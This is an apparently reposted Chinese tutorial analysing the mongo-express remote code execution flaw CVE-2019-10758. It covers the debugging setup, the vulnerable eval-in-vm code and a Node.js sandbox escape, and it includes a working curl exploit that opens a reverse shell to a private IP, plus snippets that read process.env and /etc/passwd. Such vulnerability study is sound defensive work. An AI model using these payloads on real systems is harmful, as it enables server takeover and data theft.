7

mongo-express 远程代码执行漏洞分析

 2 years ago
source link: https://www.secpulse.com/archives/162077.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

mongo-express 远程代码执行漏洞分析

搭建调试环境,调试 CVE-2019-10758 漏洞,学习nodejs 沙箱绕过,以及nodejs 远程调试。目前网上关于该漏洞的基于docker的远程调试分析写的很泛,本文从初学者角度分析调试漏洞成因,特别是在chrome浏览器调试nodejs上花了点篇幅。

0x01 认识 mongo-express

mongo-express是一个MongoDB的Admin Web管理界面,使用NodeJS、Express、Bootstrap3编写而成。目前mongo-express应该是Github上Star最多的MongoDB admin管理界面。部署方便,使用简单,成为了很多人管理mongo的选择。

0x02 调试环境搭建

0x1 启动docker服务

阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本。选择以0.49为例进行测试,由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

● 搭建MongoDB数据库

docker run --name test -d mongo:3.2

● 搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:

docker run -d -p 8081:8081  --link test:mongo mongo-express:0.49

查看日志,确认连接成功。

0x2 开启nodejs调试选项

这里需要个技巧,如果要调试nodejs 需要在启动的时候加上 --inspect 参数。在docker启动脚本做以下修改

docker restart 183

利用docker exec -it 183 bash连接docker查看debug服务是否开启

如上图中开启9229端口即可。只需要外面主机能够连接访问9229端口就可以利用chrome插件进行调试,可以用frp将端口转发出来,或者利用docker -p 9229:9229参数做处理。

0x3 Chrome DevTools

利用chrome 插件可以实现像调试javascript脚本一样调试nodejs,操作起来也是很方便。首先下载debug插件

在chrome打开about:inspectchrome devtools在2016年5月就已经支持Nodejs的调试,点击Open dedicated DevTools for Node

配置连接地址和端口

接下来就像调试js一样了

发送一个测试包,该路由分支可以断下,接下来就开始调试本次漏洞了。

curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'

0x03 漏洞调试及原理分析

本次调试的漏洞原理比较简单,核心漏洞是命令拼接,这是一种最简单的漏洞形式,但是利用起来需要点功夫,因为需要绕过沙箱VM,好在nodejs的vm绕过有过研究基础。多的不说,直接看最后的漏洞代码

string为toBSON的参数,在MongoDB中BSON是一种常见的数据格式,与JSON是近亲,但是和JSON的数据格式有很多区别,而然在mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。

例如下面操作

当代码流程走到bson.toBSON时会触发eval函数,因为nodejs可以作为后端语言所以该eval函数是在服务器端运行,可以造成命令注入,对系统产生危害

exp.checkValid = function (req, res) {
    var doc = req.body.document;
    try {
      bson.toBSON(doc);
    } catch (err) {
      console.error(err);
      return res.send('Invalid');
    }
    res.send('Valid');
  };
exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();
  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
  vm.runInNewContext('doc = eval((' + string + '));', sandbox);
  return sandbox.doc;
};

由代码溯源分析得到,toBSON的参数string是req.body中的document,因此这一部分我们可控。可以发现vm.runInNewContext函数,这是一个虚拟沙箱。因此们下一节分析怎么绕过沙箱防护。

0x04 nodejs 沙箱绕过

沙箱是一个能够安全执行不受信任的代码,且不影响外部实际代码的独立环境。在沙箱里代码执行往往会被限制。VM模块提供在VM虚拟机上下文中编译运行代码的API。使用VM模块可以在沙箱环境中运行代码。运行的代码使用不同的V8上下文,也就是它的全局变量不同于其他代码。但是沙箱里的代码仍然可以访问Node进程。我们经常使用该方法去绕过。

0x1 现象

vm.js

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(xyz);

可以看到this.process.env获取到了nodejs进程的信息,这说明完全可以切回主程序去执行系统命令。

0x2 解释

在javascript中this指向它所属的对象,所以我们使用它时就已经指向了一个VM上下文之外的对象。那么访问this的 .constructor 就返回 Object Constructor ,访问 Object Constructor 的 .constructor 返回 Function constructor 。Function constructor 就像javascript里的最高函数它允许全局访问。Function constructor允许从字符串生成函数,从而执行任意代码。所以我们可以利用它返回主进程。之后我们就能用它来访问主进程,然后进行RCE。

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);

同理vm2 函数也可以绕过,这里还是参照原文进行学习吧  

https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

0x05 漏洞修补

这里放两个图可以说明一切,利用mongo-query-parser 去解析BSON数据,直接从根源替换。

DoraBox之代码执行(通过DoraBox靶场系列闯关练习,理解代码执行及命令执行漏洞的原理与利用过程。)

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/162077.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK